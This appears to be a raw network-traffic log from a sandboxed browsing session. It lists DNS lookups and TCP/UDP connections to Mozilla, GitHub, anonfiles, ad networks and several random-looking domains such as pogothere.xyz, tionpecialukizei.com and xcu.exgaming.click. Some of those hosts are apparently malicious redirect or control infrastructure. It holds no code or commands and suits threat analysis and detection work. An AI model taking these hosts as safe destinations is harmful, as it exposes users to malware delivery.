US 34.210.17.96:443 shavar.services.mozilla.com tcp
US 34.120.5.221:443 getpocket.cdn.mozilla.net tcp
US 34.117.237.239:443 contile.services.mozilla.com tcp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 34.160.144.191:443 content-signature-2.cdn.mozilla.net tcp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 34.117.65.55:443 autopush.prod.mozaws.net tcp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 96.17.210.34.in-addr.arpa udp
N/A 127.0.0.1:52456 tcp
US 8.8.8.8:53 108.211.229.192.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
US 140.82.114.3:80 github.com tcp
US 140.82.114.3:80 github.com tcp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 github.com udp
US 140.82.114.3:443 github.com tcp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 3.114.82.140.in-addr.arpa udp
US 8.8.8.8:53 github.githubassets.com udp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github.githubassets.com udp
N/A 127.0.0.1:52466 tcp
US 34.149.100.209:443 prod.remote-settings.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 api.github.com udp
US 140.82.113.21:443 collector.github.com tcp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 140.82.114.5:443 api.github.com tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 140.82.113.21:443 collector.github.com tcp
US 140.82.113.21:443 collector.github.com tcp
US 140.82.114.5:443 api.github.com tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 21.113.82.140.in-addr.arpa udp
US 8.8.8.8:53 5.114.82.140.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 185.199.110.133:443 avatars.githubusercontent.com tcp
US 185.199.110.133:443 avatars.githubusercontent.com tcp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 8.8.8.8:53 133.110.199.185.in-addr.arpa udp
US 8.8.8.8:53 anonfiles.com udp
SE 45.154.253.152:443 anonfiles.com tcp
US 8.8.8.8:53 anonfiles.com udp
US 8.8.8.8:53 anonfiles.com udp
US 8.8.8.8:53 152.253.154.45.in-addr.arpa udp
US 8.8.8.8:53 vjs.zencdn.net udp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
SE 45.154.253.152:443 anonfiles.com tcp
US 151.101.2.217:443 vjs.zencdn.net tcp
US 8.8.8.8:53 dualstack.osff.map.fastly.net udp
US 151.101.2.217:443 dualstack.osff.map.fastly.net tcp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
US 8.8.8.8:53 dualstack.osff.map.fastly.net udp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
NL 13.227.211.186:443 djv99sxoqpv11.cloudfront.net tcp
US 8.8.8.8:53 djv99sxoqpv11.cloudfront.net udp
US 8.8.8.8:53 baconaces.pro udp
US 54.225.185.110:443 baconaces.pro tcp
US 8.8.8.8:53 baconaces.pro udp
US 8.8.8.8:53 baconaces.pro udp
US 8.8.8.8:53 pogothere.xyz udp
US 8.8.8.8:53 ginnyweakeland.info udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 8.8.8.8:53 www.facebook.com udp
US 8.8.8.8:53 accounts.google.com udp
US 188.114.96.0:443 pogothere.xyz tcp
US 188.114.96.0:443 pogothere.xyz tcp
US 8.8.8.8:53 pogothere.xyz udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 ginnyweakeland.info udp
NL 52.222.139.4:443 ginnyweakeland.info tcp
NL 52.222.139.4:443 ginnyweakeland.info tcp
NL 52.222.139.4:443 ginnyweakeland.info tcp
US 8.8.8.8:53 pogothere.xyz udp
NL 142.250.179.141:443 accounts.google.com tcp
NL 142.250.179.141:443 accounts.google.com tcp
US 172.64.109.33:443 ektobedirectuklyec.info tcp
US 172.64.109.33:443 ektobedirectuklyec.info tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 217.2.101.151.in-addr.arpa udp
US 8.8.8.8:53 186.211.227.13.in-addr.arpa udp
US 8.8.8.8:53 110.185.225.54.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 0.96.114.188.in-addr.arpa udp
US 8.8.8.8:53 ginnyweakeland.info udp
US 8.8.8.8:53 star-mini.c10r.facebook.com udp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 8.8.8.8:53 ektobedirectuklyec.info udp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 belfarewesbe.info udp
US 8.8.8.8:53 belfarewesbe.info udp
NL 13.227.219.11:443 belfarewesbe.info tcp
US 8.8.8.8:53 belfarewesbe.info udp
US 188.114.96.0:443 pogothere.xyz udp
US 8.8.8.8:53 tionpecialukizei.com udp
US 8.8.8.8:53 tionpecialukizei.com udp
US 8.8.8.8:53 tionpecialukizei.com udp
NL 142.250.179.141:443 accounts.google.com udp
US 34.195.224.242:443 tionpecialukizei.com tcp
US 172.64.109.33:443 ektobedirectuklyec.info udp
US 34.195.224.242:443 tionpecialukizei.com tcp
NL 157.240.201.35:443 www.facebook.com tcp
US 8.8.8.8:53 4.139.222.52.in-addr.arpa udp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 33.109.64.172.in-addr.arpa udp
US 8.8.8.8:53 11.219.227.13.in-addr.arpa udp
US 8.8.8.8:53 35.201.240.157.in-addr.arpa udp
US 8.8.8.8:53 242.224.195.34.in-addr.arpa udp
NL 157.240.201.35:443 www.facebook.com udp
NL 52.222.139.4:443 ginnyweakeland.info tcp
US 8.8.8.8:53 dist.ambrs.online udp
US 54.91.59.199:443 dist.ambrs.online tcp
US 8.8.8.8:53 dry-iguana-mk567mbcafco5js48ghxnitf.herokudns.com udp
US 8.8.8.8:53 dry-iguana-mk567mbcafco5js48ghxnitf.herokudns.com udp
US 8.8.8.8:53 199.59.91.54.in-addr.arpa udp
US 8.8.8.8:53 cdn-149.anonfiles.com udp
SE 195.96.151.42:443 cdn-149.anonfiles.com tcp
US 8.8.8.8:53 cdn-149.anonfiles.com udp
US 8.8.8.8:53 42.151.96.195.in-addr.arpa udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 110.208.58.216.in-addr.arpa udp
US 8.8.8.8:53 i.ytimg.com udp
NL 172.217.168.246:443 i.ytimg.com tcp
US 8.8.8.8:53 i.ytimg.com udp
NL 172.217.168.246:443 i.ytimg.com udp
NL 142.250.179.141:443 accounts.google.com tcp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 246.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 106.208.58.216.in-addr.arpa udp
US 8.8.8.8:53 131.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 196.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 142.250.179.194:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 142.250.179.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 194.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 yt3.ggpht.com udp
NL 142.251.36.1:443 yt3.ggpht.com tcp
US 8.8.8.8:53 photos-ugc.l.googleusercontent.com udp
NL 142.251.36.1:443 photos-ugc.l.googleusercontent.com tcp
NL 142.251.36.1:443 photos-ugc.l.googleusercontent.com tcp
US 8.8.8.8:53 photos-ugc.l.googleusercontent.com udp
NL 142.251.36.1:443 photos-ugc.l.googleusercontent.com udp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 1.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 suggestqueries-clients6.youtube.com udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
US 8.8.8.8:53 static.doubleclick.net udp
NL 172.217.168.206:443 suggestqueries-clients6.youtube.com tcp
NL 172.217.168.206:443 suggestqueries-clients6.youtube.com tcp
US 8.8.8.8:53 suggestqueries-clients6.youtube.com udp
NL 142.250.179.138:443 jnn-pa.googleapis.com tcp
NL 142.250.179.138:443 jnn-pa.googleapis.com tcp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
NL 142.251.36.6:443 static.doubleclick.net tcp
US 8.8.8.8:53 static.doubleclick.net udp
US 8.8.8.8:53 suggestqueries-clients6.youtube.com udp
US 8.8.8.8:53 static.doubleclick.net udp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
NL 142.251.36.6:443 static.doubleclick.net udp
NL 142.250.179.138:443 jnn-pa.googleapis.com udp
NL 172.217.168.206:443 suggestqueries-clients6.youtube.com udp
NL 142.250.179.138:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 206.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 138.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 6.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 youtube.com udp
NL 216.58.214.14:443 youtube.com tcp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 youtube.com udp
NL 216.58.214.14:443 youtube.com udp
US 8.8.8.8:53 rr3---sn-4g5ednz7.googlevideo.com udp
DE 74.125.173.232:443 rr3---sn-4g5ednz7.googlevideo.com tcp
DE 74.125.173.232:443 rr3---sn-4g5ednz7.googlevideo.com tcp
US 8.8.8.8:53 rr3.sn-4g5ednz7.googlevideo.com udp
US 8.8.8.8:53 rr3.sn-4g5ednz7.googlevideo.com udp
US 8.8.8.8:53 232.173.125.74.in-addr.arpa udp
DE 74.125.173.232:443 rr3.sn-4g5ednz7.googlevideo.com udp
US 8.8.8.8:53 rr4---sn-4g5e6nsr.googlevideo.com udp
DE 173.194.187.105:443 rr4---sn-4g5e6nsr.googlevideo.com tcp
US 8.8.8.8:53 rr4.sn-4g5e6nsr.googlevideo.com udp
DE 173.194.187.105:443 rr4.sn-4g5e6nsr.googlevideo.com tcp
US 8.8.8.8:53 rr4.sn-4g5e6nsr.googlevideo.com udp
US 8.8.8.8:53 rr4---sn-4g5e6nsr.googlevideo.com udp
DE 173.194.187.105:443 rr4---sn-4g5e6nsr.googlevideo.com tcp
DE 173.194.187.105:443 rr4---sn-4g5e6nsr.googlevideo.com tcp
DE 173.194.187.105:443 rr4---sn-4g5e6nsr.googlevideo.com udp
US 8.8.8.8:53 105.187.194.173.in-addr.arpa udp
NL 172.217.168.246:443 i.ytimg.com tcp
NL 172.217.168.246:443 i.ytimg.com udp
US 8.8.8.8:53 clck.su udp
US 172.67.181.122:443 clck.su tcp
US 8.8.8.8:53 clck.su udp
US 8.8.8.8:53 clck.su udp
US 172.67.181.122:443 clck.su udp
US 8.8.8.8:53 telegra.ph udp
NL 149.154.164.13:443 telegra.ph tcp
US 8.8.8.8:53 telegra.ph udp
US 8.8.8.8:53 telegra.ph udp
US 8.8.8.8:53 122.181.67.172.in-addr.arpa udp
US 8.8.8.8:53 13.164.154.149.in-addr.arpa udp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 t.me udp
US 8.8.8.8:53 t.me udp
US 8.8.8.8:53 edit.telegra.ph udp
US 8.8.8.8:53 edit.telegra.ph udp
NL 149.154.164.13:443 edit.telegra.ph tcp
US 8.8.8.8:53 edit.telegra.ph udp
US 8.8.8.8:53 99.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 www.mediafire.com udp
US 8.8.8.8:53 www.mediafire.com udp
US 104.16.54.48:443 www.mediafire.com tcp
US 8.8.8.8:53 www.mediafire.com udp
US 8.8.8.8:53 48.54.16.104.in-addr.arpa udp
US 8.8.8.8:53 the.gatekeeperconsent.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 www.ezojs.com udp
US 8.8.8.8:53 translate.google.com udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
NL 142.250.179.206:443 translate.google.com tcp
US 104.16.57.101:443 static.cloudflareinsights.com tcp
US 172.67.70.134:443 btloader.com tcp
US 172.67.203.7:443 www.ezojs.com tcp
US 8.8.8.8:53 www3.l.google.com udp
US 104.21.28.48:443 the.gatekeeperconsent.com tcp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 8.8.8.8:53 www3.l.google.com udp
US 8.8.8.8:53 static.cloudflareinsights.com udp
US 8.8.8.8:53 btloader.com udp
NL 142.250.179.206:443 www3.l.google.com udp
US 172.67.203.7:443 www.ezojs.com udp
US 8.8.8.8:53 www.ezojs.com.cdn.cloudflare.net udp
US 104.21.28.48:443 the.gatekeeperconsent.com udp
US 8.8.8.8:53 the.gatekeeperconsent.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 www.ezojs.com.cdn.cloudflare.net udp
US 8.8.8.8:53 the.gatekeeperconsent.com udp
US 8.8.8.8:53 privacy.gatekeeperconsent.com udp
US 172.67.144.62:443 privacy.gatekeeperconsent.com tcp
US 8.8.8.8:53 privacy.gatekeeperconsent.com udp
US 8.8.8.8:53 cdn.amplitude.com udp
US 8.8.8.8:53 privacy.gatekeeperconsent.com udp
US 8.8.8.8:53 cdn.otnolatrnup.com udp
US 8.8.8.8:53 cdn.amplitude.com udp
US 8.8.8.8:53 static.mediafire.com udp
US 8.8.8.8:53 cdn.amplitude.com udp
US 172.67.144.62:443 privacy.gatekeeperconsent.com udp
US 8.8.8.8:53 translate.googleapis.com udp
US 104.19.215.37:443 cdn.otnolatrnup.com tcp
US 8.8.8.8:53 cdn.otnolatrnup.com udp
US 104.16.53.48:443 static.mediafire.com tcp
US 104.16.53.48:443 static.mediafire.com tcp
US 104.16.53.48:443 static.mediafire.com tcp
US 104.16.53.48:443 static.mediafire.com tcp
US 104.16.53.48:443 static.mediafire.com tcp
US 104.16.53.48:443 static.mediafire.com tcp
US 8.8.8.8:53 static.mediafire.com udp
US 8.8.8.8:53 g.ezoic.net udp
US 8.8.8.8:53 ad-delivery.net udp
US 8.8.8.8:53 static.mediafire.com udp
US 8.8.8.8:53 ad-delivery.net udp
US 34.230.232.255:443 g.ezoic.net tcp
US 104.26.2.70:443 ad-delivery.net tcp
US 104.19.215.37:443 cdn.otnolatrnup.com udp
US 8.8.8.8:53 ad-delivery.net udp
US 8.8.8.8:53 g.ezoic.net udp
DE 172.217.23.202:443 translate.googleapis.com tcp
US 8.8.8.8:53 cdn.otnolatrnup.com udp
US 104.26.2.70:443 ad-delivery.net tcp
US 8.8.8.8:53 g.ezoic.net udp
US 8.8.8.8:53 translate.googleapis.com udp
US 8.8.8.8:53 translate.googleapis.com udp
US 8.8.8.8:53 api.btloader.com udp
DE 172.217.23.202:443 translate.googleapis.com udp
US 8.8.8.8:53 api.btloader.com udp
US 130.211.23.194:443 api.btloader.com tcp
US 8.8.8.8:53 api.btloader.com udp
US 8.8.8.8:53 200.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 206.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 101.57.16.104.in-addr.arpa udp
US 8.8.8.8:53 134.70.67.172.in-addr.arpa udp
US 8.8.8.8:53 7.203.67.172.in-addr.arpa udp
US 8.8.8.8:53 48.28.21.104.in-addr.arpa udp
US 8.8.8.8:53 62.144.67.172.in-addr.arpa udp
US 8.8.8.8:53 37.215.19.104.in-addr.arpa udp
US 8.8.8.8:53 48.53.16.104.in-addr.arpa udp
US 8.8.8.8:53 70.2.26.104.in-addr.arpa udp
US 8.8.8.8:53 202.23.217.172.in-addr.arpa udp
US 8.8.8.8:53 194.23.211.130.in-addr.arpa udp
US 8.8.8.8:53 255.232.230.34.in-addr.arpa udp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 go.ezodn.com udp
US 8.8.8.8:53 otnolatrnup.com udp
US 172.64.136.15:443 go.ezodn.com tcp
US 172.64.136.15:443 go.ezodn.com tcp
US 8.8.8.8:53 go.ezodn.com udp
US 172.64.136.15:443 go.ezodn.com tcp
US 172.64.136.15:443 go.ezodn.com tcp
US 172.64.136.15:443 go.ezodn.com tcp
US 172.64.136.15:443 go.ezodn.com tcp
US 104.19.214.37:443 otnolatrnup.com tcp
US 8.8.8.8:53 otnolatrnup.com udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 go.ezodn.com udp
US 8.8.8.8:53 otnolatrnup.com udp
US 8.8.8.8:53 securepubads46.g.doubleclick.net udp
US 8.8.8.8:53 securepubads46.g.doubleclick.net udp
US 172.64.136.15:443 go.ezodn.com udp
US 104.19.214.37:443 otnolatrnup.com udp
NL 108.156.61.29:443 cdn.amplitude.com tcp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 btlr.sharethrough.com udp
US 8.8.8.8:53 play.google.com udp
NL 142.251.36.14:443 play.google.com tcp
US 8.8.8.8:53 btlr-us-east-1.sharethrough.com udp
US 34.237.83.209:443 btlr.sharethrough.com tcp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 hbopenbid.pubmatic.com udp
US 8.8.8.8:53 prebid.media.net udp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 hbopenbid-ams.pubmnet.com udp
US 8.8.8.8:53 btlr-us-east-1.sharethrough.com udp
NL 185.64.189.112:443 hbopenbid-ams.pubmnet.com tcp
US 34.107.148.139:443 prebid.media.net tcp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 hbopenbid-ams.pubmnet.com udp
US 8.8.8.8:53 api.amplitude.com udp
US 34.237.83.209:443 btlr.sharethrough.com tcp
US 34.237.83.209:443 btlr.sharethrough.com tcp
US 34.237.83.209:443 btlr.sharethrough.com tcp
US 34.237.83.209:443 btlr.sharethrough.com tcp
US 8.8.8.8:53 translate-pa.googleapis.com udp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 prebid.media.net udp
US 100.20.210.112:443 api.amplitude.com tcp
US 8.8.8.8:53 api.amplitude.com udp
US 8.8.8.8:53 15.136.64.172.in-addr.arpa udp
US 8.8.8.8:53 37.214.19.104.in-addr.arpa udp
US 8.8.8.8:53 29.61.156.108.in-addr.arpa udp
US 8.8.8.8:53 198.23.217.172.in-addr.arpa udp
US 8.8.8.8:53 194.23.217.172.in-addr.arpa udp
US 8.8.8.8:53 206.23.217.172.in-addr.arpa udp
US 8.8.8.8:53 14.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 112.189.64.185.in-addr.arpa udp
US 8.8.8.8:53 api.amplitude.com udp
US 8.8.8.8:53 translate-pa.googleapis.com udp
US 8.8.8.8:53 translate-pa.googleapis.com udp
NL 142.250.179.202:443 translate-pa.googleapis.com tcp
NL 142.250.179.202:443 translate-pa.googleapis.com udp
US 8.8.8.8:53 analytics.google.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 analytics.google.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
NL 216.58.214.14:443 analytics.google.com tcp
US 8.8.8.8:53 analytics.google.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
NL 216.58.214.14:443 analytics.google.com udp
NL 142.250.102.157:443 stats.g.doubleclick.net tcp
NL 142.250.102.157:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 139.148.107.34.in-addr.arpa udp
US 8.8.8.8:53 209.83.237.34.in-addr.arpa udp
US 8.8.8.8:53 202.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 112.210.20.100.in-addr.arpa udp
US 8.8.8.8:53 157.102.250.142.in-addr.arpa udp
US 8.8.8.8:53 fundingchoicesmessages.google.com udp
NL 142.250.179.206:443 fundingchoicesmessages.google.com tcp
NL 142.250.179.206:443 fundingchoicesmessages.google.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 8.8.8.8:53 oa.openxcdn.net udp
US 8.8.8.8:53 static.criteo.net udp
US 8.8.8.8:53 cdn.prod.uidapi.com udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 8.8.8.8:53 jsdelivr.map.fastly.net udp
US 34.102.146.192:443 oa.openxcdn.net tcp
US 8.8.8.8:53 static.va1.vip.prod.criteo.net udp
NL 52.222.141.36:443 cdn.prod.uidapi.com tcp
US 8.8.8.8:53 39cccc8c0fa5ad1e452958265c77207d.safeframe.googlesyndication.com udp
US 8.8.8.8:53 static.va1.vip.prod.criteo.net udp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 8.8.8.8:53 lh3.googleusercontent.com udp
US 8.8.8.8:53 oa.openxcdn.net udp
US 8.8.8.8:53 d2avimlm6gq3h9.cloudfront.net udp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 8.8.8.8:53 oa.openxcdn.net udp
NL 142.250.179.161:443 39cccc8c0fa5ad1e452958265c77207d.safeframe.googlesyndication.com tcp
NL 142.251.36.1:443 lh3.googleusercontent.com tcp
US 151.101.1.229:443 jsdelivr.map.fastly.net udp
US 8.8.8.8:53 d2avimlm6gq3h9.cloudfront.net udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 pagead-googlehosted.l.google.com udp
US 34.102.146.192:443 oa.openxcdn.net udp
US 8.8.8.8:53 pagead-googlehosted.l.google.com udp
US 8.8.8.8:53 oajs.openx.net udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
US 8.8.8.8:53 oajs.openx.net udp
NL 142.250.179.161:443 pagead-googlehosted.l.google.com udp
NL 142.251.36.1:443 googlehosted.l.googleusercontent.com udp
US 8.8.8.8:53 oajs.openx.net udp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
US 8.8.8.8:53 cdn.ampproject.org udp
US 8.8.8.8:53 64.13.109.52.in-addr.arpa udp
US 8.8.8.8:53 229.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 192.146.102.34.in-addr.arpa udp
US 8.8.8.8:53 36.141.222.52.in-addr.arpa udp
US 8.8.8.8:53 161.179.250.142.in-addr.arpa udp
NL 142.250.179.161:443 cdn.ampproject.org tcp
NL 142.250.179.161:443 cdn.ampproject.org tcp
NL 142.250.179.161:443 cdn.ampproject.org tcp
NL 142.250.179.161:443 cdn.ampproject.org tcp
NL 142.250.179.161:443 cdn.ampproject.org tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 cdn-content.ampproject.org udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
NL 142.250.179.161:443 cdn-content.ampproject.org tcp
US 104.22.53.86:443 cdn.id5-sync.com tcp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
NL 52.222.139.112:443 tags.crwdcntrl.net tcp
US 34.96.70.87:443 invstatic101.creativecdn.com tcp
US 34.120.107.143:443 oajs.openx.net tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
NL 142.250.179.161:443 cdn-content.ampproject.org udp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
NL 142.251.36.1:443 tpc.googlesyndication.com udp
US 34.96.70.87:443 invstatic101.creativecdn.com udp
US 34.120.107.143:443 oajs.openx.net udp
US 8.8.8.8:53 id5-sync.com udp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
DE 162.19.138.117:443 id5-sync.com tcp
US 8.8.8.8:53 id5-sync.com udp
US 18.209.202.62:443 bcp.crwdcntrl.net tcp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
US 8.8.8.8:53 id5-sync.com udp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
NL 142.250.179.194:443 googleads.g.doubleclick.net tcp
NL 142.250.179.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 google-bidout-d.openx.net udp
US 8.8.8.8:53 www.mediafire.com udp
NL 142.250.179.206:443 fundingchoicesmessages.google.com udp
US 8.8.8.8:53 google-bidout-d.openx.net udp
US 34.98.64.218:443 google-bidout-d.openx.net tcp
US 8.8.8.8:53 google-bidout-d.openx.net udp
US 34.98.64.218:443 google-bidout-d.openx.net udp
US 8.8.8.8:53 86.53.22.104.in-addr.arpa udp
US 8.8.8.8:53 87.70.96.34.in-addr.arpa udp
US 8.8.8.8:53 143.107.120.34.in-addr.arpa udp
US 8.8.8.8:53 112.139.222.52.in-addr.arpa udp
US 8.8.8.8:53 131.119.119.74.in-addr.arpa udp
US 8.8.8.8:53 117.138.19.162.in-addr.arpa udp
US 8.8.8.8:53 62.202.209.18.in-addr.arpa udp
US 8.8.8.8:53 162.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 218.64.98.34.in-addr.arpa udp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 ads.pubmatic.com udp
US 8.8.8.8:53 gum.criteo.com udp
FR 178.250.7.13:443 gum.criteo.com tcp
NL 104.85.0.23:443 contextual.media.net tcp
US 8.8.8.8:53 contextual.media.net udp
US 8.8.8.8:53 contextual.media.net udp
NL 104.85.0.200:443 ads.pubmatic.com tcp
US 8.8.8.8:53 gum.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 gum.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 ag.gbc.criteo.com udp
US 8.8.8.8:53 gem.gbc.criteo.com udp
US 8.8.8.8:53 gbc7.va.us.criteo.com udp
US 74.119.119.139:443 dnacdn.net tcp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 13.7.250.178.in-addr.arpa udp
US 8.8.8.8:53 23.0.85.104.in-addr.arpa udp
US 185.235.85.167:443 ag.gbc.criteo.com tcp
US 185.235.85.210:443 gbc7.va.us.criteo.com tcp
US 8.8.8.8:53 200.0.85.104.in-addr.arpa udp
US 8.8.8.8:53 gbc5.va.us.criteo.com udp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 gbc7.va.us.criteo.com udp
US 8.8.8.8:53 gbc5.va.us.criteo.com udp
US 8.8.8.8:53 139.119.119.74.in-addr.arpa udp
US 8.8.8.8:53 167.85.235.185.in-addr.arpa udp
US 8.8.8.8:53 210.85.235.185.in-addr.arpa udp
US 8.8.8.8:53 image6.pubmatic.com udp
US 8.28.7.81:443 image6.pubmatic.com tcp
US 8.8.8.8:53 pugm-vac.pubmnet.com udp
US 8.8.8.8:53 pugm-vac.pubmnet.com udp
US 8.28.7.81:443 pugm-vac.pubmnet.com tcp
US 8.8.8.8:53 simage4.pubmatic.com udp
US 104.36.113.111:443 simage4.pubmatic.com tcp
US 104.36.113.111:443 simage4.pubmatic.com tcp
US 8.8.8.8:53 spug33000-fpb.pubmnet.com udp
US 104.36.113.111:443 spug33000-fpb.pubmnet.com tcp
US 8.8.8.8:53 81.7.28.8.in-addr.arpa udp
US 8.8.8.8:53 111.113.36.104.in-addr.arpa udp
US 8.8.8.8:53 spug33000-fpb.pubmnet.com udp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 240.81.21.72.in-addr.arpa udp
US 8.8.8.8:53 xcu.exgaming.click udp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 8.8.8.8:53 254.148.248.13.in-addr.arpa udp
US 8.8.8.8:53 xcu5.exgaming.click udp
US 76.223.26.96:80 xcu5.exgaming.click tcp
US 8.8.8.8:53 96.26.223.76.in-addr.arpa udp
US 8.8.8.8:53 15.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 g.ezoic.net udp
US 8.8.8.8:53 g.ezoic.net udp
US 8.8.8.8:53 g.ezoic.net udp
NL 142.250.179.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 xcu.exgaming.click udp
US 13.248.148.254:80 xcu.exgaming.click tcp
US 76.223.26.96:80 xcu.exgaming.click tcp
